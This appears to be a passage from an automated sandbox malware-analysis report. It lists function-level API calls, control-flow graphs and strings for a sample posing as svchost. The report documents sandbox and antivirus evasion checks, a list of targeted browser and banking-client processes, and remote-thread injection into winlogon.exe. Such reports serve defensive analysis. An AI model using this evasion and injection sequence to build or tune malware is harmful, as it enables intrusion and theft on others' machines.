                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402BAB
                                                                                                                                                                                                            • FindWindowA.USER32(____AVP.Root,00000000), ref: 00402BC2
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00402BCE
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000466,00010001,00000000), ref: 00402BE0
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 00402C00
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402C11
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: strstr$FileFindName$ExitInformationModuleProcessProcess32UserWindow$AdminChangeCharCloseCountCreateDebuggerDirectoryExistsFirstHandleLibraryLoadMessageNextNotificationPathPostPresentSnapshotSystemTickToolhelp32UpperVolumeWindowsmemset
                                                                                                                                                                                                            • String ID: IsWow64Process$Pnv$Tue Aug 2 12:53:17 20112$\apppatch\$____AVP.Root$explorer.exe$kernel32.dll$user32.dll$winlogon.exe
                                                                                                                                                                                                            • API String ID: 9317432-1956477594
                                                                                                                                                                                                            • Opcode ID: b291367e78a862219a650f1c35e2dfbffcf1e089b291cbabdcdd32a92e30e4d6
                                                                                                                                                                                                            • Instruction ID: 39ff8b4b23ffe36b6a173c4f6bdc5339f36d51dfac64fa60dc4ffdda49012cd9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b291367e78a862219a650f1c35e2dfbffcf1e089b291cbabdcdd32a92e30e4d6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8751A1B1600215ABEB107BF1EE0EB9E36686F84745F50013AFB01B61E1DBFC9C418A6D
                                                                                                                                                                                                            Function 00403920 Relevance: 42.1, APIs: 15, Strings: 9, Instructions: 128stringCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 502 403920-40396e GetModuleFileNameA strstr 503 403974-40397b call 403870 502->503 504 403ac6-403ace 502->504 503->504 507 403981-4039b2 GetUserNameA CharUpperA strstr 503->507 507->504 508 4039b8-4039cb strstr 507->508 508->504 509 4039d1-4039e4 strstr 508->509 509->504 510 4039ea-4039fd strstr 509->510 510->504 511 403a03-403a16 strstr 510->511 511->504 512 403a1c-403a5a GetSystemWindowsDirectoryA GetVolumeInformationA 511->512 512->504 513 403a5c-403a61 512->513 513->504 514 403a63-403a68 513->514 514->504 515 403a6a-403a6f 514->515 515->504 516 403a71-403a76 515->516 516->504 517 403a78-403a9e GetModuleFileNameA StrStrIA 516->517 517->504 518 403aa0-403ab0 StrStrIA 517->518 518->504 519 403ab2-403ac2 StrStrIA 518->519 519->504 520 403ac4 519->520 520->504
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403953
                                                                                                                                                                                                            • strstr.MSVCRT ref: 00403967
                                                                                                                                                                                                              • Part of subcall function 00403870: RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,y9@), ref: 0040389C
                                                                                                                                                                                                              • Part of subcall function 00403870: RegQueryValueExA.KERNEL32(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 004038C1
                                                                                                                                                                                                              • Part of subcall function 00403870: RegCloseKey.KERNEL32(y9@), ref: 004038CF
                                                                                                                                                                                                            • GetUserNameA.ADVAPI32(?,00000104), ref: 0040398C
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 00403999
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039AB
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039C4
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039DD
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039F6
                                                                                                                                                                                                            • strstr.MSVCRT ref: 00403A0F
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A28
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4C
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403A86
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\sand-box\), ref: 00403A9A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\cwsandbox\), ref: 00403AAC
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\sandbox\), ref: 00403ABE
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: strstr$Name$FileModule$CharCloseDirectoryInformationOpenQuerySystemUpperUserValueVolumeWindows
                                                                                                                                                                                                            • String ID: Dave$MALNETVM$SANDBOX$VIRUSCLONE$\cwsandbox\$\sand-box\$\sandbox\$test user$test_item.exe
                                                                                                                                                                                                            • API String ID: 3012634381-649399103
                                                                                                                                                                                                            • Opcode ID: 98ae593a8036396cbb9844701f8c361d58fbeaa975e95f35afd36f7854fc9fb0
                                                                                                                                                                                                            • Instruction ID: 2772e22a84d8afe3dc88946ac3df406ee6e1198dc71f6cbec9561b14d5c35e9d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 98ae593a8036396cbb9844701f8c361d58fbeaa975e95f35afd36f7854fc9fb0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0341CA71A5031866DF20DB608D85FEB7B6CAF54B05F0C05BAE644F51D0E6F89B848F94
                                                                                                                                                                                                            Function 02D17430 Relevance: 40.8, APIs: 27, Instructions: 286memorytimesleepCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 521 2d17430-2d1743f 522 2d17441-2d1744c call 2d17300 521->522 525 2d17813-2d1781b Sleep 522->525 526 2d17452-2d1745a 522->526 525->522 527 2d17460-2d1749e OpenProcess 526->527 528 2d17546 526->528 529 2d174a0-2d174c0 GetProcessTimes 527->529 530 2d174fa-2d17509 EnterCriticalSection 527->530 531 2d1754a-2d17595 OpenProcess 528->531 532 2d174d0-2d174d4 529->532 533 2d174c2-2d174ce 529->533 536 2d17510-2d17517 530->536 534 2d17597-2d175b4 GetProcessTimes 531->534 535 2d175e8-2d175f9 EnterCriticalSection 531->535 537 2d174d8-2d174ea GetHandleInformation 532->537 533->537 538 2d175c2 534->538 539 2d175b6-2d175c0 534->539 540 2d17613-2d176c3 LeaveCriticalSection VirtualQuery * 2 535->540 541 2d175fb 535->541 542 2d17519-2d1751d 536->542 543 2d17538 536->543 537->530 547 2d174ec-2d174f1 537->547 546 2d175c6-2d175d8 GetHandleInformation 538->546 539->546 544 2d176c5-2d176dc call 2d248d0 540->544 548 2d17600-2d17607 541->548 542->536 549 2d1751f-2d17536 LeaveCriticalSection call 2d17270 542->549 545 2d1753a-2d1753c 543->545 562 2d176e4-2d1770b EnterCriticalSection GetProcessHeap HeapAlloc 544->562 563 2d176de-2d176e2 544->563 545->527 554 2d17542 545->554 546->535 555 2d175da-2d175df 546->555 547->530 556 2d174f3-2d174f4 CloseHandle 547->556 550 2d1760d-2d17611 548->550 551 2d177cf-2d177db 548->551 549->545 550->540 550->548 551->531 557 2d177e1 551->557 554->528 555->535 560 2d175e1-2d175e2 CloseHandle 555->560 556->530 561 2d177e5-2d177e9 557->561 560->535 561->525 564 2d177eb-2d177fe GetProcessHeap HeapValidate 561->564 565 2d17711-2d17758 OpenProcess 562->565 566 2d177c4-2d177c9 LeaveCriticalSection 562->566 563->544 563->562 567 2d17800-2d17809 GetProcessHeap HeapFree 564->567 568 2d1780f-2d17811 564->568 569 2d1775a-2d17777 GetProcessTimes 565->569 570 2d177af-2d177be 565->570 566->551 567->568 568->525 568->561 571 2d17785 569->571 572 2d17779-2d17783 569->572 570->566 573 2d17789-2d1779f GetHandleInformation 571->573 572->573 573->570 574 2d177a1-2d177a6 573->574 574->570 575 2d177a8-2d177a9 CloseHandle 574->575 575->570
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D17300: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02D17314
                                                                                                                                                                                                              • Part of subcall function 02D17300: Process32First.KERNEL32(00000000,?), ref: 02D17339
                                                                                                                                                                                                              • Part of subcall function 02D17300: GetCurrentProcessId.KERNEL32(?,00000000), ref: 02D1735D
                                                                                                                                                                                                              • Part of subcall function 02D17300: StrStrIA.SHLWAPI(iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex,?,?,00000000), ref: 02D17377
                                                                                                                                                                                                              • Part of subcall function 02D17300: EnterCriticalSection.KERNEL32(02D4FB80,?,00000000), ref: 02D1739B
                                                                                                                                                                                                              • Part of subcall function 02D17300: GetProcessHeap.KERNEL32(00000008,00000010,?,00000000), ref: 02D173A1
                                                                                                                                                                                                              • Part of subcall function 02D17300: HeapAlloc.KERNEL32(00000000,?,00000000), ref: 02D173A8
                                                                                                                                                                                                              • Part of subcall function 02D17300: LeaveCriticalSection.KERNEL32(02D4FB80,?,00000000), ref: 02D173D7
                                                                                                                                                                                                              • Part of subcall function 02D17300: Process32Next.KERNEL32(00000000,00000128), ref: 02D173EB
                                                                                                                                                                                                              • Part of subcall function 02D17300: GetHandleInformation.KERNEL32(00000000,?,?,00000000), ref: 02D17405
                                                                                                                                                                                                              • Part of subcall function 02D17300: CloseHandle.KERNEL32(00000000,?,00000000), ref: 02D17416
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000400,00000000,000020FC), ref: 02D17494
                                                                                                                                                                                                            • GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02D174B8
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D174E2
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D174F4
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02D4FB80), ref: 02D174FF
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02D4FB80), ref: 02D17524
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000400,00000000,?), ref: 02D1758B
                                                                                                                                                                                                            • GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02D175AC
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D175D0
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D175E2
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02D4FB80), ref: 02D175ED
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02D4FB80), ref: 02D17618
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D17666
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D176B1
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02D4FB80,?,?), ref: 02D176F0
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000010), ref: 02D176FA
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D17701
                                                                                                                                                                                                            • Sleep.KERNEL32(00000032), ref: 02D17815
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CriticalProcessSection$Handle$EnterHeap$CloseInformationLeave$AllocOpenProcess32QueryTimesVirtual$CreateCurrentFirstNextSleepSnapshotToolhelp32
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 87146162-0
                                                                                                                                                                                                            • Opcode ID: 38d2246aae289d4ed3ec2acb2a38b45667d6d6227ca407ca5565fe135f722a88
                                                                                                                                                                                                            • Instruction ID: fdc3f23567de1ace32b5a8548bfd85c860747fd8ff6f7e315e3074c6efb64f11
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 38d2246aae289d4ed3ec2acb2a38b45667d6d6227ca407ca5565fe135f722a88
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B9C105B5A48350AFE320CF64E484A5BFBE9BF89B44F54891EF58987710D7709904CF92
                                                                                                                                                                                                            Function 00401B70 Relevance: 40.5, APIs: 21, Strings: 2, Instructions: 215injectionlibrarymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 576 401b70-401b80 577 401b86-401b8e 576->577 578 401dd8-401ddc 576->578 579 401b90-401b99 call 401fb0 577->579 582 401ba5-401bae call 401fb0 579->582 583 401b9b-401ba3 Sleep 579->583 586 401dd3-401dd7 582->586 587 401bb4-401bc9 OpenProcess 582->587 583->579 583->582 586->578 587->586 588 401bcf-401be9 GetModuleHandleA 587->588 589 401c06-401c0a 588->589 590 401beb-401bf7 GetProcAddress 588->590 592 401c0c-401c20 GetModuleHandleA 589->592 593 401c3f-401c7c VirtualAllocEx 589->593 590->589 591 401bf9-401c03 GetCurrentProcess 590->591 591->589 594 401c22-401c2c GetProcAddress 592->594 595 401c35-401c39 592->595 596 401db0-401dc4 GetHandleInformation 593->596 597 401c82-401cac WriteProcessMemory 593->597 594->595 598 401c2e-401c32 594->598 595->593 595->596 596->586 599 401dc6-401dca 596->599 600 401cae 597->600 601 401d1f-401d60 WriteProcessMemory FlushInstructionCache CreateRemoteThread 597->601 598->595 599->586 605 401dcc-401dcd CloseHandle 599->605 602 401cb1-401cc7 VirtualAlloc 600->602 603 401d62-401d76 GetHandleInformation 601->603 604 401d8e-401dad RtlCreateUserThread 601->604 606 401d07-401d17 602->606 607 401cc9-401d01 memcpy WriteProcessMemory VirtualFree 602->607 608 401d85-401d8c 603->608 609 401d78-401d7c 603->609 604->596 605->586 606->602 610 401d19-401d1c 606->610 607->606 608->596 609->608 611 401d7e-401d7f CloseHandle 609->611 610->601 611->608
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 00401FB0: memset.MSVCRT ref: 00401FD6
                                                                                                                                                                                                              • Part of subcall function 00401FB0: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401FE7
                                                                                                                                                                                                              • Part of subcall function 00401FB0: GetLastError.KERNEL32 ref: 00401FF0
                                                                                                                                                                                                              • Part of subcall function 00401FB0: SwitchToThread.KERNEL32 ref: 00401FFF
                                                                                                                                                                                                              • Part of subcall function 00401FB0: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00402008
                                                                                                                                                                                                              • Part of subcall function 00401FB0: GetHandleInformation.KERNEL32(00000000,00000000), ref: 00402028
                                                                                                                                                                                                              • Part of subcall function 00401FB0: FindCloseChangeNotification.KERNEL32(00000000), ref: 00402039
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064,755CDB30,?,00000000,00402DB4,winlogon.exe), ref: 00401B9D
                                                                                                                                                                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,00000000,755CDB30,?,00000000,00402DB4,winlogon.exe), ref: 00401BBC
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401BDB
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401BF1
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 00401BFD
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401C18
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401C28
                                                                                                                                                                                                            • VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 00401C6F
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,00000000,00406400,?,?), ref: 00401C91
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00401CBD
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 00401CD8
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(?,?,00000000,00000000,?), ref: 00401CF3
                                                                                                                                                                                                            • VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00401D01
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,?,00406400,00052A00,?), ref: 00401D34
                                                                                                                                                                                                            • FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 00401D44
                                                                                                                                                                                                            • CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00401D56
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000), ref: 00401D6E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00401D7F
                                                                                                                                                                                                            • RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00401DA0
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000), ref: 00401DBC
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00401DCD
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Process$Create$CloseInformationMemoryThreadVirtualWrite$AddressAllocModuleProcSnapshotToolhelp32$CacheChangeCurrentErrorFindFlushFreeInstructionLastNotificationOpenRemoteSleepSwitchUsermemcpymemset
                                                                                                                                                                                                            • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                            • API String ID: 2373081918-3024904723
                                                                                                                                                                                                            • Opcode ID: ba5e8482ce6558dcd48eb70727eb2832cdeee386e3baf9961ddfede8c17bb47e
                                                                                                                                                                                                            • Instruction ID: 1cc1a5b9d3a24803e7d074aebc255e1873ec8508329ddbed26f29eb15fe00603
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ba5e8482ce6558dcd48eb70727eb2832cdeee386e3baf9961ddfede8c17bb47e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8E71A2B1640215ABE710DF94DD89FAF77B8AF84701F144029FA01B72D1D7B8A941C7A8
                                                                                                                                                                                                            Function 02D248D0 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 211injectionlibrarymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 612 2d248d0-2d248e0 613 2d248e6-2d248e9 612->613 614 2d24b1e-2d24b22 612->614 613->614 615 2d248ef-2d248f2 613->615 615->614 616 2d248f8-2d24900 615->616 617 2d24902-2d2490b call 2d252d0 616->617 620 2d24917-2d24920 call 2d252d0 617->620 621 2d2490d-2d24915 Sleep 617->621 624 2d24926-2d2493b OpenProcess 620->624 625 2d24b19-2d24b1d 620->625 621->617 621->620 624->625 626 2d24941-2d2495b GetModuleHandleA 624->626 625->614 627 2d24978-2d2497c 626->627 628 2d2495d-2d24969 GetProcAddress 626->628 630 2d249b1-2d249e1 VirtualAllocEx 627->630 631 2d2497e-2d24992 GetModuleHandleA 627->631 628->627 629 2d2496b-2d24975 GetCurrentProcess 628->629 629->627 632 2d24af6-2d24b0a GetHandleInformation 630->632 633 2d249e7-2d24a10 WriteProcessMemory 630->633 634 2d249a7-2d249ab 631->634 635 2d24994-2d2499e GetProcAddress 631->635 632->625 639 2d24b0c-2d24b10 632->639 636 2d24a12 633->636 637 2d24a80-2d24aa6 FlushInstructionCache CreateRemoteThread 633->637 634->630 634->632 635->634 638 2d249a0-2d249a4 635->638 640 2d24a15-2d24a2b VirtualAlloc 636->640 641 2d24ad4-2d24af3 RtlCreateUserThread 637->641 642 2d24aa8-2d24abc GetHandleInformation 637->642 638->634 639->625 643 2d24b12-2d24b13 CloseHandle 639->643 644 2d24a68-2d24a78 640->644 645 2d24a2d-2d24a62 memcpy WriteProcessMemory VirtualFree 640->645 641->632 646 2d24acb-2d24ad2 642->646 647 2d24abe-2d24ac2 642->647 643->625 644->640 648 2d24a7a-2d24a7d 644->648 645->644 646->632 647->646 649 2d24ac4-2d24ac5 CloseHandle 647->649 648->637 649->646
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D252D0: memset.MSVCRT ref: 02D252F6
                                                                                                                                                                                                              • Part of subcall function 02D252D0: CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 02D25307
                                                                                                                                                                                                              • Part of subcall function 02D252D0: GetLastError.KERNEL32 ref: 02D25310
                                                                                                                                                                                                              • Part of subcall function 02D252D0: SwitchToThread.KERNEL32 ref: 02D2531F
                                                                                                                                                                                                              • Part of subcall function 02D252D0: CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 02D25328
                                                                                                                                                                                                              • Part of subcall function 02D252D0: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D25348
                                                                                                                                                                                                              • Part of subcall function 02D252D0: CloseHandle.KERNEL32(00000000), ref: 02D25359
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064,00000000,00000000,?,?), ref: 02D2490F
                                                                                                                                                                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,?,00000000,00000000,?,?), ref: 02D2492E
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02D2494D
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02D24963
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 02D2496F
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02D2498A
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02D2499A
                                                                                                                                                                                                            • VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 02D249D4
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,00000000,?,?,?), ref: 02D249F5
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 02D24A21
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D24A39
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,?,00000000,00000000,00000004,?,?,00003000,00000004), ref: 02D24A54
                                                                                                                                                                                                            • VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,00003000,00000004), ref: 02D24A62
                                                                                                                                                                                                            • FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 02D24A8A
                                                                                                                                                                                                            • CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02D24A9C
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D24AB4
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D24AC5
                                                                                                                                                                                                            • RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02D24AE6
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D24B02
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D24B13
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CreateProcess$CloseInformationThreadVirtual$AddressAllocMemoryModuleProcSnapshotToolhelp32Write$CacheCurrentErrorFlushFreeInstructionLastOpenRemoteSleepSwitchUsermemcpymemset
                                                                                                                                                                                                            • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                            • API String ID: 2650560580-3024904723
                                                                                                                                                                                                            • Opcode ID: cfb202bba02542363fa1e7a622e2eb39078fe7e62c6d42ddd41006a77ad49f3a
                                                                                                                                                                                                            • Instruction ID: 62589d7ee92364895b34ffb043f7310303b85d77c10ea096da04c2df4698b551
                                                                                                                                                                                                            • Opcode Fuzzy Hash: cfb202bba02542363fa1e7a622e2eb39078fe7e62c6d42ddd41006a77ad49f3a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2C61A179A40314ABEB10CF64DC89FAA77A8EF95708F548409FD09AB380DBB4DD54CB64
                                                                                                                                                                                                            Function 02D14AF0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 87networkstringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsNetworkAlive.SENSAPI(02D06BEE,00000000), ref: 02D14B03
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D14B11
                                                                                                                                                                                                            • DnsFlushResolverCache.DNSAPI ref: 02D14B1B
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D14B38
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,75920F10), ref: 02D14B57
                                                                                                                                                                                                            • StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02D14B70
                                                                                                                                                                                                            • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02D14B83
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D14B9C
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,75920F10), ref: 02D14BB5
                                                                                                                                                                                                            • StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02D14BC8
                                                                                                                                                                                                            • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02D14BD5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CheckConnectionInternetlstrcpynmemset$AdminAliveCacheFlushNetworkResolverUser
                                                                                                                                                                                                            • String ID: http://$www.bing.com$www.microsoft.com
                                                                                                                                                                                                            • API String ID: 1656757314-3977723178
                                                                                                                                                                                                            • Opcode ID: a998fb2afec49b63753b9f37aba7eb954b3d2e996f2e6a1fde70d975aff6f920
                                                                                                                                                                                                            • Instruction ID: 53b1d089fe6ea50ba22bdbe8c81e6ca54afe4dce9d94d7de903f61fb7503d05b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a998fb2afec49b63753b9f37aba7eb954b3d2e996f2e6a1fde70d975aff6f920
